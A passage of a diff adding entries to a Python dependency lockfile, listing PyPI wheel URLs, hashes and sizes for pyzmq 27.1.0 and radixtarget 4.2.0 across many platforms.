+    { url = "https://files.pythonhosted.org/packages/d1/db/5c4d6807434751e3f21231bee98109aa57b9b9b55e058e450d0aef59b70f/pyzmq-27.1.0-pp310-pypy310_pp73-manylinux_2_26_x86_64.manylinux_2_28_x86_64.whl", hash = "sha256:448f9cb54eb0cee4732b46584f2710c8bc178b0e5371d9e4fc8125201e413a74", size = 747371, upload-time = "2025-09-08T23:09:45.575Z" },
+    { url = "https://files.pythonhosted.org/packages/26/af/78ce193dbf03567eb8c0dc30e3df2b9e56f12a670bf7eb20f9fb532c7e8a/pyzmq-27.1.0-pp310-pypy310_pp73-win_amd64.whl", hash = "sha256:05b12f2d32112bf8c95ef2e74ec4f1d4beb01f8b5e703b38537f8849f92cb9ba", size = 544862, upload-time = "2025-09-08T23:09:47.448Z" },
+    { url = "https://files.pythonhosted.org/packages/4c/c6/c4dcdecdbaa70969ee1fdced6d7b8f60cfabe64d25361f27ac4665a70620/pyzmq-27.1.0-pp311-pypy311_pp73-macosx_10_15_x86_64.whl", hash = "sha256:18770c8d3563715387139060d37859c02ce40718d1faf299abddcdcc6a649066", size = 836265, upload-time = "2025-09-08T23:09:49.376Z" },
+    { url = "https://files.pythonhosted.org/packages/3e/79/f38c92eeaeb03a2ccc2ba9866f0439593bb08c5e3b714ac1d553e5c96e25/pyzmq-27.1.0-pp311-pypy311_pp73-manylinux2014_i686.manylinux_2_17_i686.whl", hash = "sha256:ac25465d42f92e990f8d8b0546b01c391ad431c3bf447683fdc40565941d0604", size = 800208, upload-time = "2025-09-08T23:09:51.073Z" },
+    { url = "https://files.pythonhosted.org/packages/49/0e/3f0d0d335c6b3abb9b7b723776d0b21fa7f3a6c819a0db6097059aada160/pyzmq-27.1.0-pp311-pypy311_pp73-manylinux_2_26_aarch64.manylinux_2_28_aarch64.whl", hash = "sha256:53b40f8ae006f2734ee7608d59ed661419f087521edbfc2149c3932e9c14808c", size = 567747, upload-time = "2025-09-08T23:09:52.698Z" },
+    { url = "https://files.pythonhosted.org/packages/a1/cf/f2b3784d536250ffd4be70e049f3b60981235d70c6e8ce7e3ef21e1adb25/pyzmq-27.1.0-pp311-pypy311_pp73-manylinux_2_26_x86_64.manylinux_2_28_x86_64.whl", hash = "sha256:f605d884e7c8be8fe1aa94e0a783bf3f591b84c24e4bc4f3e7564c82ac25e271", size = 747371, upload-time = "2025-09-08T23:09:54.563Z" },
+    { url = "https://files.pythonhosted.org/packages/01/1b/5dbe84eefc86f48473947e2f41711aded97eecef1231f4558f1f02713c12/pyzmq-27.1.0-pp311-pypy311_pp73-win_amd64.whl", hash = "sha256:c9f7f6e13dff2e44a6afeaf2cf54cee5929ad64afaf4d40b50f93c58fc687355", size = 544862, upload-time = "2025-09-08T23:09:56.509Z" },
+]
+
+[[package]]
+name = "radixtarget"
+version = "4.2.0"
+source = { registry = "https://pypi.org/simple" }
+sdist = { url = "https://files.pythonhosted.org/packages/07/0f/f581bd64b2b1cff364fa94539ee6e99924ff28ceb017ddc819aa7deff9a0/radixtarget-4.2.0.tar.gz", hash = "sha256:c6ba17832edeed75d63ce605327b79a2ed9b24a4a5eae9c1b1419adbdbfaf839", size = 703140, upload-time = "2025-12-16T18:44:00.747Z" }
+wheels = [
+    { url = "https://files.pythonhosted.org/packages/1c/f5/551f8df0744fbed27d42f48e1aae3e8fe8ed4dcbb21310ad0eebca49019b/radixtarget-4.2.0-cp310-cp310-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:5aa0d14f3c1df46fbd81ddc58df1bc376e6a22610e1491b6fb485b0ca1959977", size = 525953, upload-time = "2025-12-16T18:47:58.819Z" },
+    { url = "https://files.pythonhosted.org/packages/66/5f/64a17cc53cdc094e7aa09c84f02891627cd00d0272a09424c8a7360718fa/radixtarget-4.2.0-cp310-cp310-manylinux_2_17_armv7l.manylinux2014_armv7l.whl", hash = "sha256:3cbfafea3ff152c7ed5f9731657caad6e0b3556b6cbb9fbad89b0c483630a2c1", size = 536305, upload-time = "2025-12-16T18:48:10.509Z" },
+    { url = "https://files.pythonhosted.org/packages/29/4a/2f91713e7cb651188f31038fcb61a9af8ff1a7e7463ba8819846f0ae6642/radixtarget-4.2.0-cp310-cp310-manylinux_2_17_ppc64le.manylinux2014_ppc64le.whl", hash = "sha256:44af119000a99be3851e56d545d75d6e12c683c9966950320cb1a2ccf1333cc0", size = 711324, upload-time = "2025-12-16T18:48:23.324Z" },
+    { url = "https://files.pythonhosted.org/packages/8d/91/b07232578100307f1a3ad15b7108823691429968e9b26185d3ac8a587f23/radixtarget-4.2.0-cp310-cp310-manylinux_2_17_s390x.manylinux2014_s390x.whl", hash = "sha256:ba8c8349aca622b722b62c766a298883ac0495a259768e8753b2aa4b1f7073cb", size = 561546, upload-time = "2025-12-16T18:48:34.563Z" },
+    { url = "https://files.pythonhosted.org/packages/71/8d/bc63c8d89b6092f749db2eb6cbc380dfdda140b82e1cb155a2f09077e837/radixtarget-4.2.0-cp310-cp310-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:b83b17269cbeeb5c87c53f36c850ab35e50e45290b5da14c9f1d5bf93dd4573c", size = 532511, upload-time = "2025-12-16T18:48:55.502Z" },
+    { url = "https://files.pythonhosted.org/packages/bb/5a/06c63a9659a21db2043812a276cb61e85343627039dabd1544b772b1200d/radixtarget-4.2.0-cp310-cp310-manylinux_2_5_i686.manylinux1_i686.whl", hash = "sha256:e0ba767a789a5d7a9b3b6f054bd2b3b2a627db8cbe1de11d837e06f4bad40472", size = 561009, upload-time = "2025-12-16T18:48:45.839Z" },
+    { url = "https://files.pythonhosted.org/packages/ff/f3/092c899d35889b9e3796400fdcd4e25ee50a1c6e908b010a6e6956efd1b9/radixtarget-4.2.0-cp310-cp310-musllinux_1_2_aarch64.whl", hash = "sha256:b59066e196ed402f30b0df70a243734f4fabd67324bdedec5e130409c55d606a", size = 708927, upload-time = "2025-12-16T18:49:14.091Z" },
+    { url = "https://files.pythonhosted.org/packages/f8/ff/6214504bf0fdd1f321d9c9d0e1850b6718cb94c81d49e73e75c7f3e7be1e/radixtarget-4.2.0-cp310-cp310-musllinux_1_2_armv7l.whl", hash = "sha256:05efd8b2603e61818cdf5d89a43d2a0103c5e3574ab96b60a81b08ec4caa53dc", size = 807385, upload-time = "2025-12-16T18:49:26.575Z" },
+    { url = "https://files.pythonhosted.org/packages/b2/c6/27b5f2f392312c81b355a8ee10d14fa15c8dea2db197c5206481d584bc01/radixtarget-4.2.0-cp310-cp310-musllinux_1_2_i686.whl", hash = "sha256:7e354cf2e84732b631b87af1fe3555650fc9e21bd9618d425a277ab07a14ff87", size = 772106, upload-time = "2025-12-16T18:49:38.981Z" },
+    { url = "https://files.pythonhosted.org/packages/54/83/1cfd3058e0da4d8172d10334e18af0b47317b652c5d33c57188634a3c95a/radixtarget-4.2.0-cp310-cp310-musllinux_1_2_x86_64.whl", hash = "sha256:2d65164dff07141276e5ac758ba42df0378727ca51812b18b8e296bb68c1aa2b", size = 736298, upload-time = "2025-12-16T18:50:05.846Z" },
+    { url = "https://files.pythonhosted.org/packages/2d/c6/ff526bfd19b6d1aac758e8c256996eef6162a80594293658f4119ff468bc/radixtarget-4.2.0-cp310-cp310-win_amd64.whl", hash = "sha256:ed274b85d0bde14c4ba1e9efa753644b8b19170c61d66987d212e2463e14e9af", size = 378903, upload-time = "2025-12-16T18:50:34.057Z" },
+    { url = "https://files.pythonhosted.org/packages/b6/d7/f855b8cf09f06e1a5806b6cca93592394ce4e79df2d00a76ae522bbf384b/radixtarget-4.2.0-cp311-cp311-macosx_10_12_x86_64.whl", hash = "sha256:bad895da09a580c944f050b506d752cf0350c3874bf42f84b517246b5a18649a", size = 497631, upload-time = "2025-12-16T18:49:09.338Z" },
+    { url = "https://files.pythonhosted.org/packages/8f/6f/6413fd33eea0b22d2ed0db194bccffbef922c89e002f0d99befebc7354ed/radixtarget-4.2.0-cp311-cp311-macosx_11_0_arm64.whl", hash = "sha256:3dfb196f516a665194ad3f22e402a3c1fbbf9a8353a97fd3829273a77c9a0da1", size = 492115, upload-time = "2025-12-16T18:49:04.673Z" },
+    { url = "https://files.pythonhosted.org/packages/70/23/e296772b5a811b8fbc2d224880166112c446cecc51b0774c0d71ec59462b/radixtarget-4.2.0-cp311-cp311-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:0253d0852cfb736c3e484c6ac77a401689bcd4dbc1d128f743d90b12360f401f", size = 526063, upload-time = "2025-12-16T18:48:00.281Z" },
+    { url = "https://files.pythonhosted.org/packages/e9/bc/da800929b5fc9456ef3221a19465806e7b85c0bb97118e8d2d9e27fe51ec/radixtarget-4.2.0-cp311-cp311-manylinux_2_17_armv7l.manylinux2014_armv7l.whl", hash = "sha256:09b587a22cbf735d790db5bf6a116c0311c7502a568177345c2725d267430212", size = 536300, upload-time = "2025-12-16T18:48:11.575Z" },
+    { url = "https://files.pythonhosted.org/packages/9b/62/6eaecc12148f9998f4d3237cd6ed4c23caf416ca90fa25147e92bf218aa0/radixtarget-4.2.0-cp311-cp311-manylinux_2_17_ppc64le.manylinux2014_ppc64le.whl", hash = "sha256:fe6160c5ac6f7c08c22d5b3a4dc9011e2b822906f157a7dc3ea9921f3a15ad15", size = 711722, upload-time = "2025-12-16T18:48:24.541Z" },
+    { url = "https://files.pythonhosted.org/packages/4f/3d/54231188743f9aa731a1352b4104cdb48299c8def3750ef56c743a6ba3e9/radixtarget-4.2.0-cp311-cp311-manylinux_2_17_s390x.manylinux2014_s390x.whl", hash = "sha256:fe042a589c4045607816dbf79bc41fcd9b421ce93b3e296612945ab46fe97f5a", size = 561534, upload-time = "2025-12-16T18:48:35.613Z" },
+    { url = "https://files.pythonhosted.org/packages/9c/8d/fe45c6390bd825279ec57975acf86eca745dab5cae1797a9bc72ed29a6b2/radixtarget-4.2.0-cp311-cp311-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:eb243a1ebf4b089e830dcb6d08f96e751de0a116eb522677a42b5e4e9ec0e05c", size = 532615, upload-time = "2025-12-16T18:48:56.612Z" },
+    { url = "https://files.pythonhosted.org/packages/3f/5c/e812eaea1ff3aa7394ed9df30d21e5f8643b7513b303b9be4949f10b0bf1/radixtarget-4.2.0-cp311-cp311-manylinux_2_5_i686.manylinux1_i686.whl", hash = "sha256:cb82132c07e43ef30e7687849a71c676e533f786373b6673d3e0f796614de6ec", size = 561252, upload-time = "2025-12-16T18:48:47.304Z" },
+    { url = "https://files.pythonhosted.org/packages/68/d9/47de5b14f3fe3be5085267bfef75ba3af25cfe561584c8f275be672144a0/radixtarget-4.2.0-cp311-cp311-musllinux_1_2_aarch64.whl", hash = "sha256:b0df39424c81c946c1c6f11e2389b361644e418bf1bbc6a8b80c23d26607d278", size = 709082, upload-time = "2025-12-16T18:49:15.269Z" },
+    { url = "https://files.pythonhosted.org/packages/25/56/18381cc7511db6a98957f83f420d20f3e158fc7e3b6085551ebfcbaf257c/radixtarget-4.2.0-cp311-cp311-musllinux_1_2_armv7l.whl", hash = "sha256:581e0791229bfc4801af86405b62cb4f3eb41c5c68868151cb6c97b0ef32b685", size = 807210, upload-time = "2025-12-16T18:49:27.884Z" },
+    { url = "https://files.pythonhosted.org/packages/58/6a/6d29f2e46be3acb30ea120efaa3e335c723db10f740e5091f2db825e8408/radixtarget-4.2.0-cp311-cp311-musllinux_1_2_i686.whl", hash = "sha256:49797ad5db114e600372184ff7f79e1435613156f4cab67f5b7b32c2ac1cc291", size = 772474, upload-time = "2025-12-16T18:49:40.404Z" },
+    { url = "https://files.pythonhosted.org/packages/bd/dd/2b4962600262e8137c0223aea7f8ac5979143735c30d371fce4fec123b68/radixtarget-4.2.0-cp311-cp311-musllinux_1_2_x86_64.whl", hash = "sha256:7eb702384f5e90e1b911f8d4f314e59030759a519fc14bcb2e37135091dd091f", size = 736455, upload-time = "2025-12-16T18:50:07.425Z" },
+    { url = "https://files.pythonhosted.org/packages/b4/3f/d171081c15c2113a10a9b9a35eceea5c421a6d55d212fb3c5e6b112aae9f/radixtarget-4.2.0-cp311-cp311-win_amd64.whl", hash = "sha256:0c515fcd99dd268f6b4e1eb21bbf14b6818c9c1317496c06bc3fd47790173b72", size = 378916, upload-time = "2025-12-16T18:50:36.406Z" },
+    { url = "https://files.pythonhosted.org/packages/f2/f0/2dd66769df40ceed730ed50d00b06430c15dfe5ab7f02d07ee313826d9b3/radixtarget-4.2.0-cp312-cp312-macosx_10_12_x86_64.whl", hash = "sha256:d9d305119875ffda3af4e4cbb60ab3a3f44a618276edb6154de58bfb7fa2ce3f", size = 498895, upload-time = "2025-12-16T18:49:10.509Z" },
+    { url = "https://files.pythonhosted.org/packages/e1/21/eaf70a8b7d5be07cb0722a495b7da227f9b6979e246c08af37174d70e972/radixtarget-4.2.0-cp312-cp312-macosx_11_0_arm64.whl", hash = "sha256:e5ddd4cee0a3e6640602f6695469b0ce86fb669eefe40db56a66982368ba5350", size = 490903, upload-time = "2025-12-16T18:49:05.829Z" },
+    { url = "https://files.pythonhosted.org/packages/0c/27/a34161399043180158645aed3045c1f17b156eeb1e4518794cd5254ca568/radixtarget-4.2.0-cp312-cp312-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:b23e10d2452f29fe09d3095ded30fdbc221b1acd10360e2a5f81856a756c4c73", size = 524748, upload-time = "2025-12-16T18:48:01.4Z" },
+    { url = "https://files.pythonhosted.org/packages/ef/f8/0219eb4a010b90aeaf911ba030ac29189f9a71007cabbd1c7f1d63252562/radixtarget-4.2.0-cp312-cp312-manylinux_2_17_armv7l.manylinux2014_armv7l.whl", hash = "sha256:75903eda31182dedc7e3342a8879f79709138829c20a8258279a4c7e78156c1d", size = 536507, upload-time = "2025-12-16T18:48:12.663Z" },
+    { url = "https://files.pythonhosted.org/packages/99/5b/e7b6b3c00b380c6567551009e08662516bf653a2a7282a2b365921ca51ac/radixtarget-4.2.0-cp312-cp312-manylinux_2_17_ppc64le.manylinux2014_ppc64le.whl", hash = "sha256:a43eca0711a743dd897a5fef0aa513798ad12fae19553aaf24e18fd21fe96597", size = 708677, upload-time = "2025-12-16T18:48:25.691Z" },
+    { url = "https://files.pythonhosted.org/packages/b8/4a/fc0c5eacaa977a6496967282c154da8b5798f5e8c0c705fea773e8a3ff58/radixtarget-4.2.0-cp312-cp312-manylinux_2_17_s390x.manylinux2014_s390x.whl", hash = "sha256:ec3ff6c8b447891921f5ecbedc8569053b16c0cc356fed731b99c470c20aebab", size = 560847, upload-time = "2025-12-16T18:48:36.773Z" },
+    { url = "https://files.pythonhosted.org/packages/a8/37/0f952cb79dd99f90d750c39635206faa30f39b09e5cfdb3ae2f377e80044/radixtarget-4.2.0-cp312-cp312-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:e1d1119f57e74307abda2fd1a23e83c0338373214a539ab1286a88dda55b91f1", size = 531507, upload-time = "2025-12-16T18:48:57.943Z" },
+    { url = "https://files.pythonhosted.org/packages/87/32/e9120cda5cd05e99835d7664e9fa4dddbf5fb57fc07d80ad46453ab38d7a/radixtarget-4.2.0-cp312-cp312-manylinux_2_34_x86_64.whl", hash = "sha256:76d46168ce9acc65abbe553b435ea113c65762a47148a8406142a2176c5e53bb", size = 461830, upload-time = "2025-12-16T18:43:59.227Z" },
+    { url = "https://files.pythonhosted.org/packages/76/48/aeec382df32d2ad85905cf46096a1bfb6c067a7438cba06a8c7f549792dc/radixtarget-4.2.0-cp312-cp312-manylinux_2_5_i686.manylinux1_i686.whl", hash = "sha256:62eae4c069123ebd933b935339b4b19c477308ab308262e4a765e4dd7443077a", size = 559835, upload-time = "2025-12-16T18:48:48.951Z" },
+    { url = "https://files.pythonhosted.org/packages/f4/81/8c00262b004228163104c2996a3629b6cf828b61b0282ab391b67a0d29ee/radixtarget-4.2.0-cp312-cp312-musllinux_1_2_aarch64.whl", hash = "sha256:877f6a960a7309dcd9c2eb10fed4ca7e03c117fafbda8659e52bb082466ebb56", size = 707968, upload-time = "2025-12-16T18:49:16.908Z" },
+    { url = "https://files.pythonhosted.org/packages/f1/f3/c4707fa238d6fa2b2eb16f83db4b7840a51cfeab667704980836158d4e52/radixtarget-4.2.0-cp312-cp312-musllinux_1_2_armv7l.whl", hash = "sha256:d92109f94a916aac2fc04ee4c8f5a3f1a3ecb60df774d1febb2a8e1aa22d0694", size = 806824, upload-time = "2025-12-16T18:49:29.073Z" },
+    { url = "https://files.pythonhosted.org/packages/0e/a6/6e9b8d2f50e9dd2402e568f03fe305767a4018764cb4903aa04c730fc243/radixtarget-4.2.0-cp312-cp312-musllinux_1_2_i686.whl", hash = "sha256:e70a00bc5f27d49c2c6aeda47adb776f639d503f726ef6cd484a917aa603d2a2", size = 771612, upload-time = "2025-12-16T18:49:56.618Z" },
+    { url = "https://files.pythonhosted.org/packages/34/73/2a57c889a5bb209f265a6cb9734f119a69dc760684b586458de86de7fed2/radixtarget-4.2.0-cp312-cp312-musllinux_1_2_x86_64.whl", hash = "sha256:f38ef0281e4af7a5dc41a040b2adbe45202a2c904666d9ae141d53869f33db02", size = 735221, upload-time = "2025-12-16T18:50:08.746Z" },
+    { url = "https://files.pythonhosted.org/packages/2f/fe/bfc926131d4d950aec8657aa0d7f7c6eff0d45690375245a61dc292abebd/radixtarget-4.2.0-cp312-cp312-win_amd64.whl", hash = "sha256:dfd80f33aa21bbf30eba4a5482bdf4d5da7d6f231b6a1f7d55a99887cdc118d2", size = 379211, upload-time = "2025-12-16T18:50:37.713Z" },
+    { url = "https://files.pythonhosted.org/packages/df/f3/becbfd7ecacee757c5cd41560ee2c044a2e8e19c0ad273e44f3ab9f38b02/radixtarget-4.2.0-cp313-cp313-macosx_10_12_x86_64.whl", hash = "sha256:1b220ac0837d70837a59a1f1030c671ce4cf706ea9402268fea2effbba9a9e73", size = 498485, upload-time = "2025-12-16T18:49:11.679Z" },
+    { url = "https://files.pythonhosted.org/packages/3e/e2/46a645929ea18c24f4690da321f3cf29f9be328e021b0a513c55a6dfdffa/radixtarget-4.2.0-cp313-cp313-macosx_11_0_arm64.whl", hash = "sha256:3dcac7b61bcbad700b0347c3aa930dcc85dc4cfc3d9432ce977737d11972b71c", size = 491313, upload-time = "2025-12-16T18:49:07.009Z" },
+    { url = "https://files.pythonhosted.org/packages/50/68/1a5aaf605e2d194619931f95cf60c2d20e97437ff9a340aa765cfca08b2a/radixtarget-4.2.0-cp313-cp313-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:c1a9ef464e354ff4cb6e9b81cbe7cae61614e7d08ed7c380b2345f3d87faa1d3", size = 524293, upload-time = "2025-12-16T18:48:02.827Z" },
+    { url = "https://files.pythonhosted.org/packages/de/81/dec202a939bf0b066a3ad4cf8308948b401508575fc6c520400a09289fe9/radixtarget-4.2.0-cp313-cp313-manylinux_2_17_armv7l.manylinux2014_armv7l.whl", hash = "sha256:96a0c97c84c347d3628ee825711b08a351b0ae8e1f7c37435f562fd64fe33ca9", size = 536159, upload-time = "2025-12-16T18:48:15.901Z" },
+    { url = "https://files.pythonhosted.org/packages/b6/3b/3a634622a98c6db58e27f4ff49efa9d25bbdd73a9302e47ff3ea0d0d5082/radixtarget-4.2.0-cp313-cp313-manylinux_2_17_ppc64le.manylinux2014_ppc64le.whl", hash = "sha256:7a5f86e9b8805959ee7f66bd6a82d6a67e2087ece27a89ea135de5e80fe1aebb", size = 708628, upload-time = "2025-12-16T18:48:27.002Z" },
+    { url = "https://files.pythonhosted.org/packages/b2/56/c347a34ded989e2ebcf388720d437e48b67c8c8ea4fcc2ed0579ccc68f58/radixtarget-4.2.0-cp313-cp313-manylinux_2_17_s390x.manylinux2014_s390x.whl", hash = "sha256:f2ed8149e6effffa647a2c0341fba0a97d596de37351d28a354dd76bf6840292", size = 560428, upload-time = "2025-12-16T18:48:38.009Z" },
+    { url = "https://files.pythonhosted.org/packages/81/8b/e462f93a8dd8c48e7e9c511aeebdcf924e1476e9ceb53c85e91e049e3d71/radixtarget-4.2.0-cp313-cp313-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:6a81a575e771e360556c404352b3868abe3717265c53f243edeb6dc84416bb0b", size = 531269, upload-time = "2025-12-16T18:48:59.377Z" },
+    { url = "https://files.pythonhosted.org/packages/9d/92/0709d70f497a0360e9a7db0387ba3dfa2ce43bcb9ecd0a8505a715d88106/radixtarget-4.2.0-cp313-cp313-manylinux_2_5_i686.manylinux1_i686.whl", hash = "sha256:17d6254b9449b12e249107340eb1b9f28cac224070cd075a5468e9683e974de3", size = 559408, upload-time = "2025-12-16T18:48:50.429Z" },
+    { url = "https://files.pythonhosted.org/packages/30/a2/9817987f6b98cb6851b5744b9e86a917c3ca0775c8e8797c2edd85148d70/radixtarget-4.2.0-cp313-cp313-musllinux_1_2_aarch64.whl", hash = "sha256:548cc66578feb9a5a4f6af6caab53e68bf5351f3d4361ab8d4f3646281a7fbd5", size = 707551, upload-time = "2025-12-16T18:49:18.38Z" },
+    { url = "https://files.pythonhosted.org/packages/d6/a4/ac4c3ec42c2d12d3a1ca26b95bb652436957f7708562cca506976a18e2b3/radixtarget-4.2.0-cp313-cp313-musllinux_1_2_armv7l.whl", hash = "sha256:a428ee5cd0ba7dabdd24311a697dee79a14a1719de1dad60e98cf1e5f2bdb083", size = 806347, upload-time = "2025-12-16T18:49:30.627Z" },
+    { url = "https://files.pythonhosted.org/packages/c9/af/46f6d575a59dd60b686064f0bf62c97f78f5a797ef59505c78c54ef2f74b/radixtarget-4.2.0-cp313-cp313-musllinux_1_2_i686.whl", hash = "sha256:82ed101dc5d8a7b3ec12de59b788683d3b40b862a5f83a4c094ad22a937b9f30", size = 771144, upload-time = "2025-12-16T18:49:57.992Z" },
+    { url = "https://files.pythonhosted.org/packages/f9/ce/d1e83431bc68ae0cabdbc373cb985de5be03e3856baa0f2086c18f3be9d6/radixtarget-4.2.0-cp313-cp313-musllinux_1_2_x86_64.whl", hash = "sha256:2770e86a92220b08706b647cd00639c893f0c51cab413d748e129cfc2c49e362", size = 734990, upload-time = "2025-12-16T18:50:10.119Z" },
+    { url = "https://files.pythonhosted.org/packages/99/2a/04996087bcba40b19094ce21593b53041d4bfc1bd1712f5416459cdb5b48/radixtarget-4.2.0-cp313-cp313-win_amd64.whl", hash = "sha256:d5b99dca0b6177318396dc7170681f384241819491d0695eb8fc13e9bde5cf61", size = 378947, upload-time = "2025-12-16T18:50:39.214Z" },
+    { url = "https://files.pythonhosted.org/packages/8a/b4/1b5d3a0cd7805edc15e03f6281ac7aeb3dd030dba77c9513e196949f15e1/radixtarget-4.2.0-cp313-cp313t-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:653378321743c3e79471298e03929a345fff9450abba0f1495638355d1049d95", size = 522379, upload-time = "2025-12-16T18:48:03.938Z" },
+    { url = "https://files.pythonhosted.org/packages/b0/79/83d3cf51a87ad6400d75a3ac25dd1c674fecdd9b05d3831768f7c8ffa53b/radixtarget-4.2.0-cp313-cp313t-manylinux_2_17_armv7l.manylinux2014_armv7l.whl", hash = "sha256:8f515860a4a5e18022a7bbafdf36dff82b3614ede92008d52f1aa1664220dbd5", size = 533382, upload-time = "2025-12-16T18:48:16.982Z" },
+    { url = "https://files.pythonhosted.org/packages/fb/40/ecb9eae445401566b3e9b61dec4c262ae19b98ae4c91aac4806665535e72/radixtarget-4.2.0-cp313-cp313t-manylinux_2_17_ppc64le.manylinux2014_ppc64le.whl", hash = "sha256:7fca34e9c48e5a1c6d81849b185591a8b8e256c3e755a3d815951f5311880b73", size = 707425, upload-time = "2025-12-16T18:48:28.121Z" },
+    { url = "https://files.pythonhosted.org/packages/f1/7b/ae9ff987841fc85663f3cd4377b7e259353a9f2c75f187706143ad31d105/radixtarget-4.2.0-cp313-cp313t-manylinux_2_17_s390x.manylinux2014_s390x.whl", hash = "sha256:d7b939a7f1bd17f1e2257313a90ebb19ba10e7e59a0c5e5e113fedb882966684", size = 558296, upload-time = "2025-12-16T18:48:39.343Z" },
+    { url = "https://files.pythonhosted.org/packages/35/b9/057d2d88941610d3492e104f6c656cd2da9d323325e27ced178f62044565/radixtarget-4.2.0-cp313-cp313t-musllinux_1_2_aarch64.whl", hash = "sha256:05915257e8ac3ee05812e411f1ae2c62851fd4986d84f8c26f44bc33a3fe1043", size = 704696, upload-time = "2025-12-16T18:49:19.645Z" },
+    { url = "https://files.pythonhosted.org/packages/71/b5/871e0339af40eddee2373ca6eb9773f3bdc2757cdeb4347386376f4bc241/radixtarget-4.2.0-cp313-cp313t-musllinux_1_2_armv7l.whl", hash = "sha256:e67f5cd923de5d7aeb0688105cfcc2feedcfd3ba05310585ac0fa63f8ab2f634", size = 803127, upload-time = "2025-12-16T18:49:31.902Z" },
+    { url = "https://files.pythonhosted.org/packages/95/57/be0c086ac255fe4d1ab75bdb5a5929233640408104843ca9e9b03faf3a7b/radixtarget-4.2.0-cp313-cp313t-musllinux_1_2_i686.whl", hash = "sha256:c9529b9fd3f0bed32b64f148859ba7832b75c26e582e4c1cc7586c315454c5b6", size = 768508, upload-time = "2025-12-16T18:49:59.317Z" },
+    { url = "https://files.pythonhosted.org/packages/f5/e2/0e720d6022b6d9ace940798da70c3735c6b879698d83af60fb2282d81f6a/radixtarget-4.2.0-cp313-cp313t-musllinux_1_2_x86_64.whl", hash = "sha256:4f90f1a8270600f3bdc2173757623e85e928815b091e1e145afa3032c26d40a3", size = 733015, upload-time = "2025-12-16T18:50:11.859Z" },
+    { url = "https://files.pythonhosted.org/packages/16/fa/a595055e758b5e226bf234eb86f3ec5fbc1976e38e915d897d76fc31b84d/radixtarget-4.2.0-cp314-cp314-macosx_10_12_x86_64.whl", hash = "sha256:741c7d8833a88bd1305253acbe558920ee818be27fa1c1aea0e0fb3564e0936e", size = 495466, upload-time = "2025-12-16T18:49:12.882Z" },
+    { url = "https://files.pythonhosted.org/packages/52/bd/1ae6b8e9609dffa00d3e2a1c4fa5f474c12eb60f2564a65e971928718dbd/radixtarget-4.2.0-cp314-cp314-macosx_11_0_arm64.whl", hash = "sha256:33357489b71862dc63bf029a7803f5aee80466c2ca83b2120d8dea921d35f1e4", size = 487773, upload-time = "2025-12-16T18:49:08.173Z" },
+    { url = "https://files.pythonhosted.org/packages/75/b6/72eb662c79e03a1f701ef0cad0272e6e90aab062a5c7ba2dd06322ebecbf/radixtarget-4.2.0-cp314-cp314-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:424611144171c5bff08f123d1b579800d0a7a987f1f28a065ecbfa40a4ff8a21", size = 523213, upload-time = "2025-12-16T18:48:05.016Z" },
+    { url = "https://files.pythonhosted.org/packages/a7/44/9efe558f4bcaeee940568444cb87673b471f006e349520dcb730437fe0d2/radixtarget-4.2.0-cp314-cp314-manylinux_2_17_armv7l.manylinux2014_armv7l.whl", hash = "sha256:79dc672f10299d5e95522382f4965d26e484916dba4ff44e4ab77e6d4fb80b9d", size = 533440, upload-time = "2025-12-16T18:48:18.18Z" },
+    { url = "https://files.pythonhosted.org/packages/c1/f4/32035a5f9e55258611ecd16c7cb7f63e8ed8432b9f60b85f77950270aebc/radixtarget-4.2.0-cp314-cp314-manylinux_2_17_ppc64le.manylinux2014_ppc64le.whl", hash = "sha256:84797ea9544bad786f1c0a233d5081418a76217821345b0f23e56fce713b7659", size = 706516, upload-time = "2025-12-16T18:48:29.573Z" },
+    { url = "https://files.pythonhosted.org/packages/7d/49/8ed31f8e089b3aeb9ad14936fd0881530bd963fe6c64ebb40742e1d4ca8f/radixtarget-4.2.0-cp314-cp314-manylinux_2_17_s390x.manylinux2014_s390x.whl", hash = "sha256:a77c405240eb624970fb4194d498c23833fc404361dea167e614ca27b25f1b96", size = 559263, upload-time = "2025-12-16T18:48:40.624Z" },
+    { url = "https://files.pythonhosted.org/packages/8e/f2/f71acd1ce0b4e2bb3c6fa71b60fe746676e39c205f7db01498edef1e1af9/radixtarget-4.2.0-cp314-cp314-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:0ed5064530dc2185f61f7e6a05b62bd55e20b764eb4c0b156f1c1dd06a538ec5", size = 529125, upload-time = "2025-12-16T18:49:00.662Z" },
+    { url = "https://files.pythonhosted.org/packages/d1/3e/17ccc7ba7d7cda61411ec0166b19a98b54f924431e005811db4a081fd55f/radixtarget-4.2.0-cp314-cp314-manylinux_2_5_i686.manylinux1_i686.whl", hash = "sha256:4f54893bd7ac2985c470b4edeea894661b762b4805e0c585a0a94a1d6155ea7b", size = 556447, upload-time = "2025-12-16T18:48:51.485Z" },
+    { url = "https://files.pythonhosted.org/packages/48/c7/25987424b0e3e0c72ec7367b9403bca853fbe570328528223d0ca57494e1/radixtarget-4.2.0-cp314-cp314-musllinux_1_2_aarch64.whl", hash = "sha256:3a57aea7d709049d2f55d633dda684d87316b962b7bf4a00fa2d3063023e8dd8", size = 705990, upload-time = "2025-12-16T18:49:20.854Z" },
+    { url = "https://files.pythonhosted.org/packages/92/be/1f153fb4d57343baa978ffbff99c9f853e7959f966bb9d40308ebac8fffc/radixtarget-4.2.0-cp314-cp314-musllinux_1_2_armv7l.whl", hash = "sha256:233a39a73e0c2b3341ffea438d8d4722d8b5287edaa5d5ddb778ced9d437c9d2", size = 803275, upload-time = "2025-12-16T18:49:33.406Z" },
+    { url = "https://files.pythonhosted.org/packages/02/94/45f6b55bd57b8eee6b5a5d8882255364c3f7e1aabd45521178109da59fde/radixtarget-4.2.0-cp314-cp314-musllinux_1_2_i686.whl", hash = "sha256:d75bf219fb61d0149164926c3901aa8bd0587ac63444edae846e650cd4af2a33", size = 768779, upload-time = "2025-12-16T18:50:00.582Z" },
